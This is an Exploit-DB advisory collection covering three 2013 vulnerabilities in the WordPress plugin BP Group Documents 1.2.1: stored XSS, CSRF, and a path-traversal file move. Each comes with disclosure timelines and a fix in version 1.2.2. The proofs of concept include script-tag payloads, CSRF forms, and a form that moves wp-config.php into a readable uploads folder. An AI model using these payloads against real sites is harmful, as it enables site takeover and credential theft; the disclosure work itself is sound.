WordPress Plugin BP Group Documents 1.2.1 – Multiple Vulnerabilities

  • 作者: Tom Adams
    日期: 2014-02-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31768/
  • Details
    ================
    Software: BP Group Documents
    Version: 1.2.1
    Homepage: http://wordpress.org/plugins/bp-group-documents/
    CVSS: 8 (High; AV:N/AC:L/Au:S/C:P/I:P/A:C)
    
    
    Description
    ================
    Stored XSS vulnerability in BP Group Documents 1.2.1
    
    Vulnerability
    ================
    “Display name” and “Description” fields are not escaped, meaning any 
    tags including script tags can be stored in them.
    
    Proof of concept
    ================
    Go to the upload form, select a document to upload, set the “Display 
    name” to “photograph of a cute puppy<scriptalert(‘xss’)</script” and 
    set the “Description” to “this is an innocuous 
    description<scriptalert(‘xss again’)</script”.
    
    Mitigations
    ================
    Update to version 1.2.2.
    
    Timeline
    ================
    
    2013-09-26: Discovered
    2013-09-30: Reported to plugins@wordpress.org
    2013-10-04: Fix released (1.2.2)
    
    
    Discovered by:
    ================
    Tom Adams
    
    
    Second one:
    https://security.dxw.com/advisories/csrf-vulnerability-in-bp-group-documents-1-2-1/
    Details
    ================
    Software: BP Group Documents
    Version: 1.2.1
    Homepage: http://wordpress.org/plugins/bp-group-documents/
    CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:N/I:P/A:N)
    
    
    Description
    ================
    CSRF vulnerability in BP Group Documents 1.2.1
    
    Vulnerability
    ================
    An unauthenticated user can cause a logged in user to edit the name 
    and description of any existing group document. The fields are also 
    vulnerable to XSS.
    
    Proof of concept
    ================
    Assume we have a group with slug “x” and a group document with id 8:
    <form method="POST" action="https://wp.ayumu/groups/x/documents/"
    <input type="text" name="bp_group_documents_operation" value="edit"
    <input type="text" name="bp_group_documents_id" value="8"
    <input type="text" name="bp_group_documents_name" 
    value="<scriptalert(1)</script"
    <input type="text" name="bp_group_documents_description" value="abc"
    <input type="submit"
    </form
    
    Mitigations
    ================
    Update to version 1.2.2.
    
    Timeline
    ================
    
    2013-09-26: Discovered
    2013-09-30: Reported to plugins@wordpress.org
    2013-10-04: Fix released (1.2.2)
    
    
    Discovered by:
    ================
    Tom Adams 
    
    Third one:
    https://security.dxw.com/advisories/moving-any-file-php-user-has-access-to-in-bp-group-documents-1-2-1/
    Details
    ================
    Software: BP Group Documents
    Version: 1.2.1
    Homepage: http://wordpress.org/plugins/bp-group-documents/
    CVSS: 9 (High; AV:N/AC:L/Au:N/C:P/I:P/A:C)
    
    
    Description
    ================
    Moving any file PHP user has access to in BP Group Documents 1.2.1
    
    Vulnerability
    ================
    An admin user (or anybody, since there is a CSRF vulnerability in this 
    form) can move any file the PHP user has access to to a location 
    inside the uploads directory. From the uploads directory, they are 
    likely to be able to read the file.
    
    Proof of concept
    ================
    As a logged in admin, visit a page containing this form and submit it 
    (or add auto-submission, and cause a logged in admin to visit it):
    <form method="POST" 
    action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings"
    <input name="group" value="1"
    <input name="file" value="../../../../wp-config.php"
    <input type="submit"
    </form
    This will cause the wp-config.php file to be moved to a location 
    within wp-content/uploads. In my case it was 
    wp-content/uploads/group-documents/1/1380203685-……..wp-config.php. In 
    this example I broke a WordPress installation, leaving the site wide 
    open to another person to come in and do the “famous five minute 
    install”. There may also be handy config files laying around that you 
    could read by moving them to the web root.
    
    Mitigations
    ================
    Update to version 1.2.2.
    
    Timeline
    ================
    
    2013-09-26: Discovered
    2013-09-30: Reported to plugins@wordpress.org
    2013-10-04: Fix released (1.2.2)
    
    
    Discovered by:
    ================
    Tom Adams